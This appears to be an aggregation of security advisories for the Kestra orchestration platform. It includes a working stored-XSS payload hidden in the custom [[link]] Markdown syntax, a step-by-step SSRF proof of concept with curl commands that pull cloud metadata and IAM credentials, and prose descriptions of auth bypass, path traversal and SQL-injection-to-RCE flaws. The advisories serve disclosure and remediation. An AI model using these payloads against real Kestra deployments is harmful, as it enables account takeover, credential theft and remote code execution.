See how kestra compares to other vendors in security performance
Summary
Kestra’s Markdown renderer supports a custom [[link ...]] syntax that is converted into a custom HTML element. The custom Markdown parser allows attacker-controlled attributes to be rendered into the generated element without proper allowlisting or sanitization.
As a result, a user who can create or edit Markdown-rendered content, such as a Flow description, can inject JavaScript event-handler attributes. When another user views or interacts with the affected Markdown-rendered UI element, the JavaScript executes in that user’s browser.
This is not a normal raw-HTML Markdown payload such as <img onerror=...>. The payload uses Kestra’s custom [[link]] Markdown syntax, and the dangerous HTML attributes are introduced by Kestra’s own Markdown plugin.
Affected version
Tested on Kestra 1.3.22.
Affected components
Source review identified the issue in the custom Markdown link renderer:
ui/src/utils/markdownplugins/link.ts ui/src/utils/markdown.ts ui/src/components/layout/Markdown.vue
The vulnerable code path renders parsed attributes directly into an HTML string:
ts const attrs = token.attrs ? token.attrs.map(([name, value]) => ${name}="${value}").join("") : "";
return <router-md ${attrs}>;
The implementation does not safely restrict attribute names or values before inserting the generated HTML into the DOM.
Proof of concept
Create or edit a Flow with the following YAML:
yaml id: markdownxssflowdesc namespace: company.team description: | [[link x="y" style="position:fixed;inset:0;z-index:9999;background:rgba(255,0,0,0.05)" onmouseover="alert(document.domain)"]]
tasks: - id: hello type: io.kestra.plugin.core.log.Log message: hello
Save the Flow.
Then navigate to the Flow list:
text http://localhost:8080/ui/main/flows
Click the description/info icon next to the malicious Flow.
Actual result
The browser executes JavaScript from the Flow description. In the PoC, an alert is triggered showing the current domain.
Expected result
Markdown-rendered Flow descriptions should not be able to inject arbitrary JavaScript event handlers or attacker-controlled HTML attributes into the page.
The custom [[link]] syntax should only generate safe attributes required for the intended router-link behavior.
Security impact
An attacker with permission to create or update a Flow in a namespace can store a malicious Markdown payload in the Flow description. When another Kestra user views the Flow list and opens the Flow description/info panel, attacker-controlled JavaScript executes in the victim’s browser.
Depending on the victim’s privileges, this may allow the attacker to perform actions as the victim within the Kestra UI, access data visible to the victim, or pivot into more privileged namespace or administrative functionality.
This crosses a security boundary in multi-user Kestra deployments where Flow authors are less privileged than administrators or other operators who review workflows.
Suggested remediation
The custom Markdown link plugin should not render arbitrary attributes into raw HTML.
Recommended fixes:
1. Allowlist only the exact attributes required by the custom router link component. 2. Reject all attributes beginning with on, such as onclick, onmouseover, and onfocus. 3. Reject or sanitize dangerous attributes such as style. 4. HTML-escape all attribute values before rendering. 5. Ensure attributes are joined safely with spaces. 6. Sanitize the final rendered Markdown output before passing it to v-html. 7. Add regression tests for custom [[link]] payloads containing event-handler attributes.
Minimal payload
md [[link x="y" style="position:fixed;inset:0;z-index:9999;background:rgba(255,0,0,0.05)" onmouseover="alert(document.domain)"]]
Evidence collected
The payload was stored in a Flow description. The Flow list displayed the malicious Flow. Opening the Flow description/info panel triggered JavaScript execution in the browser. The payload did not require execution of the Flow. The payload used Kestra’s custom [[link]] syntax rather than raw HTML.
Summary The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.
Details The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):
1. No URL validation: User input is passed directly to URI.create() with no checks for private IPs, internal hosts, or restricted schemes 2. No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1 3. No scheme restriction: file://, gopher:// schemes are not blocked 4. No authentication required: TenantValidationFilter.java only checks tenant == "main" — no authentication 5. Unconditional registration: HttpFunction is registered without any feature flags in Extension.java:180
PoC Prerequisites: bash docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local sleep 30
Step 1: Create malicious Flow YAML yaml cat > /tmp/ssrfpoc.yaml << 'YAML' id: ssrfmetadata namespace: company.team tasks: - id: exfiltrate type: io.kestra.plugin.core.log.Log message: | {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }} YAML
Step 2: Import without authentication bash curl -X POST http://localhost:8080/api/v1/main/flows/import \ -F "fileUpload=@/tmp/ssrfpoc.yaml"
Step 3: Execute the flow bash curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrfmetadata
Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)
Impact - CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - CWE: CWE-918 (Server-Side Request Forgery) - Affected: All Kestra OSS versions (default deployment) - Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft
Summary Kestra's Micronaut management endpoints are served on port 8081 with no authentication, even when the main API (port 8080) has basic-auth enabled. Anyone who can reach :8081 can read GET /env (full resolved environment/configuration) and mutate runtime state via POST /loggers/{name} (change log levels), among the other management endpoints. Enabling basic-auth creates a false sense of protection because the auth filter only covers /api/v1/ on 8080 and never applies to the 8081 management port. The shipped repository contains no statement that 8081 is management-only / must-not-be-exposed, and the vendor's reference docker-compose.yml publishes it with no warning. Affected - Product: Kestra (kestra-io/kestra), an open-source orchestration/data-pipeline platform (Java / Micronaut). - Version: v1.3.29 (confirmed); the management-port exposure is an insecure default of the shipped configuration. - No fix at time of report. Technical detail Kestra runs the Micronaut management/actuator endpoints on a separate HTTP port 8081. The authentication filter (basic-auth, when configured) is scoped to the main API on port 8080 (/api/v1/) and does not apply to 8081. As a result: - GET http://<host>:8081/env returns the full resolved environment/configuration (property sources), unauthenticated. - POST http://<host>:8081/loggers/{name} changes a logger's level at runtime, unauthenticated (a state-changing operation). - The other Micronaut management endpoints on 8081 are similarly reachable. The shipped application.yml comments, SECURITY.md, and the vendor's reference docker-compose.yml do not warn that 8081 must be kept internal, and the reference compose publishes 8081, so a deployment that enables basic-auth on the API still exposes the management port with no auth. Impact An unauthenticated network client that can reach port 8081 can read the full application configuration/environment (/env) and change runtime logging (/loggers), and reach the other management endpoints — an authentication-bypass on the management surface. (Sensitive credential values in /env are masked, so this is scored without a full-secret-read confidentiality impact.) Proof of concept Reproduced live on Kestra v1.3.29 with basic-auth enabled on the main API. Unauthenticated GET http://<host>:8081/env returned 200 with the resolved configuration/property sources, and POST http://<host>:8081/loggers/{name} returned 200 and changed the logger level — both with no credentials. The equivalent main-API request on 8080 returned 401 (control), confirming the auth filter covers only the API port and not the 8081 management port. (Credential values in /env were masked.) Full request/response captures available on request. Remediation Apply authentication to the management port (bind the Micronaut management endpoints behind the same auth as the API, or require a separate management credential), and by default bind port 8081 to loopback only. At minimum, document prominently (SECURITY.md, application.yml, the reference docker-compose) that port 8081 must never be exposed to untrusted networks, and do not publish 8081 in the reference compose. Credit Reported by Santosh Kumar Puppala (GitHub: https://github.com/Santoshkumarpuppala).
Kestra is an open-source, event-driven orchestration platform. Prior to 1.0.45 and 1.3.21, AuthenticationFilter in Kestra OSS uses request.getPath().endsWith("/configs") to whitelist the public configuration endpoint from Basic Auth. Because the check is a suffix match rather than an exact path match, any API path whose last segment is configs bypasses authentication entirely. An unauthenticated remote attacker can exploit this to create and execute arbitrary workflows without credentials. Because Kestra ships with script execution plugins (plugin-script-shell, plugin-script-python, etc.) enabled by default, this directly results in unauthenticated Remote Code Execution as root inside the Kestra worker container. This vulnerability is fixed in 1.0.45 and 1.3.21.
Kestra is an open-source, event-driven orchestration platform. Prior to 1.0.43 and 1.3.19, several Kestra API endpoints accept a kestra:// URI from the client and pass it through StorageInterface.parentTraversalGuard before reading the underlying file from the local storage backend. The guard only inspects the literal URI.toString(), so a URL-encoded .. written as %2E%2E slips through. The downstream code then calls URI.getPath(), which decodes %2E%2E back to .., and the resulting path is handed to Paths.get(...) without normalization. The OS resolves the .. segments at open(2) time, so an authenticated user with a single execution can read any file the Kestra process has access to on the host filesystem (/etc/passwd, mounted secrets, other tenants' execution outputs, etc.). This vulnerability is fixed in 1.0.43 and 1.3.19.
Kestra is an open-source, event-driven orchestration platform. Prior to 1.0.45 and 1.3.23, the local internal-storage backend validates user-supplied paths for .. traversal before it converts Windows-style backslashes to forward slashes. An attacker can therefore smuggle a traversal sequence past the guard using backslashes (..\..\..\); the guard sees a harmless string, and the path is only rewritten to ../../../ after validation, immediately before the file is opened. Any authenticated user who can view an execution (the lowest-privilege role) can call GET /api/v1/{tenant}/executions/{executionId}/file?path=… and read any file on the server filesystem readable by the Kestra process, outside the storage sandbox and across every tenant and namespace. This includes the embedded H2 database (all flows, all users, all stored secrets), internal storage of every other tenant/namespace, mounted secret files, and the process environment (/proc/self/environ) which contains configured database and secret-backend credentials. It is a complete breach of Kestra's storage isolation and multi-tenancy boundary. This vulnerability is fixed in 1.0.45 and 1.3.23.
Kestra is an open-source, event-driven orchestration platform. Prior to 1.0.45 and 1.3.21, the authentication filter for the REST API (@Filter("/api/v1/")) treats any request whose path ends in /configs as the public instance-config endpoint and forwards it without a credential check. kestra addresses its resources by URL path segments that the caller chooses (/api/v1/{tenant}/flows/{namespace}, /api/v1/{tenant}/executions/{namespace}/{id}, /api/v1/{tenant}/namespaces/{namespace}/kv/{key}). An anonymous caller picks the literal configs as the final segment, and the request bypasses Basic-Auth entirely. Because the bypass reaches the flow-create and execution-trigger routes, an unauthenticated caller creates a flow containing a Shell or Process task and runs it. The task executes as root inside the kestra container. The official docker-compose.yml mounts /var/run/docker.sock, so root in the container reaches the host Docker daemon. This vulnerability is fixed in 1.0.45 and 1.3.21.
Kestra is an open-source, event-driven orchestration platform. Prior to 1.0.45 and 1.3.21, the previewFileFromExecution endpoint (GET /api/v1/{tenant}/executions/{executionId}/file/preview) contains an access control bypass that allows any authenticated user to read output files from any other execution within the same tenant, bypassing execution-level and namespace-level isolation. This vulnerability is fixed in 1.0.45 and 1.3.21.
Kestra is an open-source, event-driven orchestration platform. Prior to 1.3.24, this vulnerability exists in the BasicAuth authentication component of the Kestra OSS workflow orchestration platform. An attacker who gains read access to the PostgreSQL database can exploit SHA-512's high computation speed to recover the administrator password offline. In Kubernetes deployments, a successful crack further enables reading of the cluster ServiceAccount Token and all K8s Secrets, achieving vertical privilege escalation. This vulnerability is fixed in 1.3.24.
Kestra is an open-source, event-driven orchestration platform. Prior to versions 1.3.19, 1.2.19, 1.1.19, and 1.0.43, Kestra task inputFiles writes rendered file names directly under the task working directory. When a flow forwards untrusted execution or webhook data into an inputFiles file name, a caller can use ../ path segments to create or overwrite files outside that task working directory on the worker filesystem. Versions 1.3.19, 1.2.19, 1.1.19, and 1.0.43 patch the issue.
Kestra v1.3.3 and before is vulnerable to SQL Injection. The vulnerability occurs because user-controlled input from a GET parameter is directly concatenated into an SQL query without proper sanitization or parameterization. As a result, attackers can inject arbitrary SQL expressions into the database query.
Kestra is an open-source, event-driven orchestration platform. Prior to version 1.3.7, Kestra (default docker-compose deployment) contains a SQL Injection vulnerability that leads to Remote Code Execution (RCE) in the following endpoint "GET /api/v1/main/flows/search". Once a user is authenticated, simply visiting a crafted link is enough to trigger the vulnerability. The injected payload is executed by PostgreSQL using COPY ... TO PROGRAM ..., which in turn runs arbitrary OS commands on the host. This issue has been patched in version 1.3.7.
Kestra is an open-source, event-driven orchestration platform Versions up to and including 1.3.3 render user-supplied flow YAML metadata fields — description, inputs[].displayName, inputs[].description — through the Markdown.vue component instantiated with html: true. The resulting HTML is injected into the DOM via Vue's v-html without any sanitization. This allows a flow author to embed arbitrary JavaScript that executes in the browser of any user who views or interacts with the flow. This is distinct from GHSA-r36c-83hm-pc8j / CVE-2026-29082, which covers only FilePreview.vue rendering .md files from execution outputs. The present finding affects different components, different data sources, and requires significantly less user interaction (zero-click for input.displayName). As of time of publication, it is unclear if a patch is available.
Kestra is an event-driven orchestration platform. In versions from 1.1.10 and prior, Kestra’s execution-file preview renders user-supplied Markdown (.md) with markdown-it instantiated as html:true and injects the resulting HTML with Vue’s v-html without sanitisation. At time of publication, there are no publicly available patches.
Kestra is an event-driven orchestration platform. The error message in execution "Overview" tab is vulnerable to stored XSS due to improper handling of HTTP response received. This vulnerability is fixed in 0.22.0.